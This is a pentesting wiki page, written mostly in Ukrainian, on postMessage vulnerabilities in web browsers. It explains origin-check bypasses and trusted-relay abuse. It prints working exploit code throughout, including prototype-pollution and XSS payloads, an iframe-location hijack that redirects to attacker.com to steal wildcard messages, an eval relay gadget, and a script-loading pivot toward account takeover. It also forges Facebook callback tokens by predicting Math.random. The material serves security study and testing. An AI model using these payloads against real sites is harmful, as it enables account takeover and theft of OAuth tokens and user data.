PostMessage Вразливості

Tip

Вивчайте та практикуйте AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Вивчайте та практикуйте GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Вивчайте та практикуйте Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Підтримайте HackTricks

Відправлення PostMessage

PostMessage використовує наступну функцію для відправлення повідомлення:

targetWindow.postMessage(message, targetOrigin, [transfer]);

# postMessage to current page
window.postMessage('{"__proto__":{"isAdmin":True}}', '*')

# postMessage to an iframe with id "idframe"
<iframe id="idframe" src="http://victim.com/"></iframe>
document.getElementById('idframe').contentWindow.postMessage('{"__proto__":{"isAdmin":True}}', '*')

# postMessage to an iframe via onload
<iframe src="https://victim.com/" onload="this.contentWindow.postMessage('<script>print()</script>','*')">

# postMessage to popup
win = open('URL', 'hack', 'width=800,height=300,top=500');
win.postMessage('{"__proto__":{"isAdmin":True}}', '*')

# postMessage to an URL
window.postMessage('{"__proto__":{"isAdmin":True}}', 'https://company.com')

# postMessage to iframe inside popup
win = open('URL-with-iframe-inside', 'hack', 'width=800,height=300,top=500');
## loop until win.length == 1 (until the iframe is loaded)
win[0].postMessage('{"__proto__":{"isAdmin":True}}', '*')

Зауважте, що targetOrigin може бути ‘*’ або URL, наприклад https://company.com.
У другому сценарії, повідомлення може бути надіслано лише цьому домену (навіть якщо origin об’єкта window відрізняється).
Якщо використано wildcard, повідомлення можуть бути надіслані будь-якому домену, і вони будуть надіслані на origin об’єкта Window.

Атака на iframe & wildcard у targetOrigin

Як пояснюється в this report якщо ви знайдете сторінку, яку можна iframed (немає X-Frame-Header захисту) і яка відправляє чутливе повідомлення через postMessage, використовуючи wildcard (*), ви можете змінити origin iframe і leak чутливе повідомлення до домену під вашим контролем.
Зауважте, що якщо сторінку можна iframed, але targetOrigin встановлено на URL, а не на wildcard, цей трюк не спрацює.

<html>
<iframe src="https://docs.google.com/document/ID" />
<script>
setTimeout(exp, 6000); //Wait 6s

//Try to change the origin of the iframe each 100ms
function exp(){
setInterval(function(){
window.frames[0].frame[0][2].location="https://attacker.com/exploit.html";
}, 100);
}
</script>

Експлуатація addEventListener

addEventListener — це функція, яку використовує JS для оголошення функції, яка очікує postMessages.
Код, подібний до наведеного нижче, буде використаний:

window.addEventListener(
"message",
(event) => {
if (event.origin !== "http://example.org:8080") return

// ...
},
false
)

Note in this case how the first thing that the code is doing is checking the origin. This is terribly important mainly if the page is going to do anything sensitive with the received information (like changing a password). If it doesn’t check the origin, attackers can make victims send arbitrary data to this endpoints and change the victims passwords (in this example).

Enumeration

In order to find event listeners in the current page you can:

  • Search the JS code for window.addEventListener and $(window).on (JQuery version)
  • Execute in the developer tools console: getEventListeners(window)

  • Go to Elements –> Event Listeners in the developer tools of the browser

Origin check bypasses

  • event.isTrusted attribute is considered secure as it returns True only for events that are generated by genuine user actions. Though it’s challenging to bypass if implemented correctly, its significance in security checks is notable.
  • The use of indexOf() for origin validation in PostMessage events may be susceptible to bypassing. An example illustrating this vulnerability is:
"https://app-sj17.marketo.com".indexOf("https://app-sj17.ma")
  • The search() method from String.prototype.search() is intended for regular expressions, not strings. Passing anything other than a regexp leads to implicit conversion to regex, making the method potentially insecure. This is because in regex, a dot (.) acts as a wildcard, allowing for bypassing of validation with specially crafted domains. For instance:
"https://www.safedomain.com".search("www.s.fedomain.com")
  • The match() function, similar to search(), processes regex. If the regex is improperly structured, it might be prone to bypassing.

  • The escapeHtml function is intended to sanitize inputs by escaping characters. However, it does not create a new escaped object but overwrites the properties of the existing object. This behavior can be exploited. Particularly, if an object can be manipulated such that its controlled property does not acknowledge hasOwnProperty, the escapeHtml won’t perform as expected. This is demonstrated in the examples below:

  • Expected Failure:

result = u({
message: "'\"<b>\\",
})
result.message // "&#39;&quot;&lt;b&gt;\"
  • Bypassing the escape:
result = u(new Error("'\"<b>\\"))
result.message // "'"<b>\"

In the context of this vulnerability, the File object is notably exploitable due to its read-only name property. This property, when used in templates, is not sanitized by the escapeHtml function, leading to potential security risks.

  • The document.domain property in JavaScript can be set by a script to shorten the domain, allowing for more relaxed same-origin policy enforcement within the same parent domain.

Origin-only trust + trusted relays

If a receiver only checks event.origin (e.g., trusts any *.trusted.com) you can often find a “relay” page on that origin that echoes attacker-controlled params via postMessage to a supplied targetOrigin/targetWindow. Examples include marketing/analytics gadgets that take query params and forward {msg_type, access_token, ...} to opener/parent. You can:

  • Open the victim page in a popup/iframe that has an opener so its handlers register (many pixels/SDKs only attach listeners when window.opener exists).
  • Navigate another attacker window to the relay endpoint on the trusted origin, populating message fields you want injected (message type, tokens, nonces).
  • Because the message now comes from the trusted origin, origin-only validation passes and you can trigger privileged behaviors (state changes, API calls, DOM writes) in the victim listener.

Abuse patterns seen in the wild:

  • Analytics SDKs (e.g., pixel/fbevents-style) consume messages like FACEBOOK_IWL_BOOTSTRAP, then call backend APIs using a token supplied in the message and include location.href / document.referrer in the request body. If you supply your own token, you can read these requests in the token’s request history/logs and exfil OAuth codes/tokens present in the URL/referrer of the victim page.
  • Any relay that reflects arbitrary fields into postMessage lets you spoof message types expected by privileged listeners. Combine with weak input validation to reach Graph/REST calls, feature unlocks, or CSRF-equivalent flows.

Hunting tips: enumerate postMessage listeners that only check event.origin, then look for same-origin HTML/JS endpoints that forward URL params via postMessage (marketing previews, login popups, OAuth error pages). Stitch both together with window.open() + postMessage to bypass origin checks.

e.origin == window.origin bypass

When embedding a web page within a sandboxed iframe using %%%%%%, it’s crucial to understand that the iframe’s origin will be set to null. This is particularly important when dealing with sandbox attributes and their implications on security and functionality.

By specifying allow-popups in the sandbox attribute, any popup window opened from within the iframe inherits the sandbox restrictions of its parent. This means that unless the allow-popups-to-escape-sandbox attribute is also included, the popup window’s origin is similarly set to null, aligning with the iframe’s origin.

Consequently, when a popup is opened under these conditions and a message is sent from the iframe to the popup using postMessage, both the sending and receiving ends have their origins set to null. This situation leads to a scenario where e.origin == window.origin evaluates to true (null == null), because both the iframe and the popup share the same origin value of null.

For more information read:

Bypassing SOP with Iframes - 1

Bypassing e.source

It’s possible to check if the message came from the same window the script is listening in (specially interesting for Content Scripts from browser extensions to check if the message was sent from the same page):

// If it’s not, return immediately.
if (received_message.source !== window) {
return
}

Ви можете змусити e.source повідомлення бути null, створивши iframe, який відправляє postMessage і негайно видаляється.

Для отримання додаткової інформації читайте:

Bypassing SOP with Iframes - 2

X-Frame-Header bypass

Щоб виконати ці атаки, в ідеалі ви зможете вставити сторінку жертви всередину iframe. Але деякі заголовки, такі як X-Frame-Header, можуть перешкоджати такій поведінці.
У цих сценаріях ви все ще можете використати менш приховану атаку. Ви можете відкрити нову вкладку з вразливим веб-застосунком і спілкуватися з ним:

<script>
var w=window.open("<url>")
setTimeout(function(){w.postMessage('text here','*');}, 2000);
</script>

Викрадення повідомлення, надісланого дочірньому елементу, шляхом блокування головної сторінки

На наступній сторінці ви можете побачити, як можна вкрасти чутливі postmessage дані, надіслані у дочірній iframe, блокуючи головну сторінку перед надсиланням даних та зловживаючи XSS у дочірньому щоб leak дані до їх отримання:

Blocking main page to steal postmessage

Викрадення повідомлення шляхом зміни location iframe

Якщо ви можете iframe веб-сторінку без X-Frame-Header, яка містить інший iframe, ви можете змінити location того дочірнього iframe, тож якщо він отримує postmessage, відправлений із використанням wildcard, зловмисник міг би змінити origin цього iframe на сторінку, контрольовану ним, і вкрасти повідомлення:

Steal postmessage modifying iframe location

postMessage до Prototype Pollution і/або XSS

У сценаріях, де дані, надіслані через postMessage, виконуються JS, ви можете iframe сторінку та експлуатувати prototype pollution/XSS, відправивши експлойт через postMessage.

Декілька детально пояснених XSS через postMessage можна знайти за адресою https://jlajara.gitlab.io/web/2020/07/17/Dom_XSS_PostMessage_2.html

Приклад експлойту для зловживання Prototype Pollution, а потім XSS через postMessage до iframe:

<html>
<body>
<iframe
id="idframe"
src="http://127.0.0.1:21501/snippets/demo-3/embed"></iframe>
<script>
function get_code() {
document
.getElementById("iframe_victim")
.contentWindow.postMessage(
'{"__proto__":{"editedbymod":{"username":"<img src=x onerror=\\"fetch(\'http://127.0.0.1:21501/api/invitecodes\', {credentials: \'same-origin\'}).then(response => response.json()).then(data => {alert(data[\'result\'][0][\'code\']);})\\" />"}}}',
"*"
)
document
.getElementById("iframe_victim")
.contentWindow.postMessage(JSON.stringify("refresh"), "*")
}

setTimeout(get_code, 2000)
</script>
</body>
</html>

Для додаткової інформації:

Завантаження скриптів на основі origin та supply-chain pivot (CAPIG case study)

capig-events.js реєстрував обробник message лише коли існував window.opener. Під час IWL_BOOTSTRAP він перевіряв pixel_id, але зберігав event.origin і пізніше використав його для побудови ${host}/sdk/${pixel_id}/iwl.js.

Handler writing attacker-controlled origin ```javascript if (window.opener) { window.addEventListener("message", (event) => { if ( !localStorage.getItem("AHP_IWL_CONFIG_STORAGE_KEY") && !localStorage.getItem("FACEBOOK_IWL_CONFIG_STORAGE_KEY") && event.data.msg_type === "IWL_BOOTSTRAP" && checkInList(g.pixels, event.data.pixel_id) !== -1 ) { localStorage.setItem("AHP_IWL_CONFIG_STORAGE_KEY", { pixelID: event.data.pixel_id, host: event.origin, sessionStartTime: event.data.session_start_time, }) startIWL() // loads `${host}/sdk/${pixel_id}/iwl.js` } }) } ```

Exploit (origin → script-src pivot):

  1. Отримати opener: наприклад, у Facebook Android WebView повторно використати window.name з window.open(target, name), щоб вікно стало своїм власним opener, а потім відправити postMessage з шкідливого iframe.
  2. Надіслати IWL_BOOTSTRAP з будь-якого origin, щоб зберегти host = event.origin у localStorage.
  3. Розмістити /sdk/<pixel_id>/iwl.js на будь-якому origin, дозволеному CSP (takeover/XSS/upload на домені аналітики в allowlist). Потім startIWL() завантажує attacker JS на сайті-інтеграторі (наприклад, www.meta.com), що дозволяє авторизовані cross-origin виклики та account takeover.

Якщо прямий контроль opener був неможливим, компрометація стороннього iframe на сторінці все одно дозволяла надіслати сформований postMessage у parent, щоб отруїти збережений host і примусити завантаження скрипта.

Backend-generated shared script → stored XSS: Плагін AHPixelIWLParametersPlugin конкатенував параметри правил користувача в JS, який додавався до capig-events.js (наприклад, cbq.config.set(...)). Ін’єкція розривів типу "]} дозволяла вставляти довільний JS, створюючи stored XSS у спільному скрипті, який обслуговувався всім сайтам, що його підвантажували.

Список довірених origin (allowlist) не є межею

Строга перевірка event.origin працює лише тоді, коли довірений origin не може запускати attacker JS. Коли привілейовані сторінки вбудовують сторонні iframe та припускають, що event.origin === "https://partner.com" безпечний, будь-який XSS на partner.com стає мостом у parent:

// Parent (trusted page)
window.addEventListener("message", (e) => {
if (e.origin !== "https://partner.com") return
const [type, html] = e.data.split("|")
if (type === "Partner.learnMore") target.innerHTML = html // DOM XSS
})

Шаблон атаки, помічений у реальному житті:

  1. Використати XSS в iframe партнера та залишити relay gadget так, щоб будь-яке postMessage ставало code exec всередині довіреного origin:
<img src="" onerror="onmessage=(e)=>{eval(e.data.cmd)};">
  1. From the attacker page, надішліть JS у скомпрометований iframe, який пересилає дозволений тип повідомлення назад до parent. Повідомлення походить з partner.com, проходить allowlist і містить HTML, який вставляється небезпечно:
postMessage({
cmd: `top.frames[1].postMessage('Partner.learnMore|<img src="" onerror="alert(document.domain)">|b|c', '*')`
}, "*")
  1. Батьківський фрейм інжектить HTML від атакуючого, даючи JS execution in the parent origin (наприклад, facebook.com), що може бути використано для крадіжки OAuth кодів або pivot до повного takeover акаунта.

Key takeaways:

  • Origin партнера не є межею: будь-який XSS у «довіреному» партнері дозволяє атакуючим надсилати дозволені повідомлення, які обходять перевірки event.origin.
  • Обробники, які рендерять partner-controlled payloads (наприклад, innerHTML для певних типів повідомлень), перетворюють компроміс партнера на same-origin DOM XSS.
  • Широка message surface (багато типів, відсутня валідація структури) дає більше гаджетів для pivoting після компрометації iframe партнера.

Predicting Math.random() callback tokens in postMessage bridges

Коли валідація повідомлень використовує «shared secret», згенерований через Math.random() (наприклад, guid() { return "f" + (Math.random() * (1<<30)).toString(16).replace(".", "") }) і той самий хелпер також дає імена plugin iframe, можна відновити PRNG-виходи і підробити trusted messages:

  • Leak PRNG outputs via window.name: SDK автоматично іменує plugin iframes за допомогою guid(). Якщо ви контролюєте top frame, iframe-нете сторінку жертви, потім перенаправите plugin iframe на ваш origin (наприклад, window.frames[0].frames[0].location='https://attacker.com') і прочитаєте window.frames[0].frames[0].name, щоб отримати raw Math.random() output.
  • Force more outputs without reloads: Деякі SDK відкривають шлях для реініціалізації; в FB SDK виклик init:post з {xfbml:1} примушує XFBML.parse(), знищує/створює знову plugin iframe і генерує нові імена/ID callback. Повторені reinit дають стільки PRNG-виходів, скільки потрібно (зауважте додаткові внутрішні Math.random() виклики для callback/iframe ID, тому solvers повинні пропускати проміжні значення).
  • Trusted-origin delivery via parameter pollution: Якщо first-party plugin endpoint відображає ненадісланий параметр у cross-window payload (наприклад, /plugins/feedback.php?...%23relation=parent.parent.frames[0]%26cb=PAYLOAD%26origin=TARGET), ви можете інжектити &type=...&iconSVG=..., зберігаючи trusted facebook.com origin.
  • Predict the next callback: Перетворіть отримані імена iframe назад у float у [0,1) і подайте кілька значень (навіть не послідовних) у V8 Math.random predictor (наприклад, Z3-based). Згенеруйте наступний guid() локально, щоб підробити очікуваний callback token.
  • Trigger the sink: Сформуйте postMessage data так, щоб місток диспатчив xd.mpn.setupIconIframe і інжектував HTML в iconSVG (наприклад, URL-encoded <img src=x onerror=...>), досягаючи DOM XSS всередині hosting origin; звідти можна читати same-origin iframes (OAuth dialogs, arbiters тощо).
  • Framing quirks help: Ланцюг вимагає фреймінгу. В деяких mobile webviews X-Frame-Options може деградувати до unsupported ALLOW-FROM, коли присутній frame-ancestors, а “compat” параметри можуть примусити permissive frame-ancestors, даючи змогу window.name side channel.

Мінімальний приклад підробленого повідомлення

// predictedFloat is the solver output for the next Math.random()
const callback = "f" + (predictedFloat * (1 << 30)).toString(16).replace(".", "")
const payload =
callback +
"&type=mpn.setupIconIframe&frameName=x" +
"&iconSVG=%3cimg%20src%3dx%20onerror%3dalert(document.domain)%3e"
const fbMsg = `https://www.facebook.com/plugins/feedback.php?api_key&channel_url=https://staticxx.facebook.com/x/connect/xd_arbiter/?version=42%23relation=parent.parent.frames[0]%26cb=${encodeURIComponent(payload)}%26origin=https://www.facebook.com`
iframe.location = fbMsg // sends postMessage from facebook.com with forged callback

Посилання

Tip

Вивчайте та практикуйте AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Вивчайте та практикуйте GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Вивчайте та практикуйте Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Підтримайте HackTricks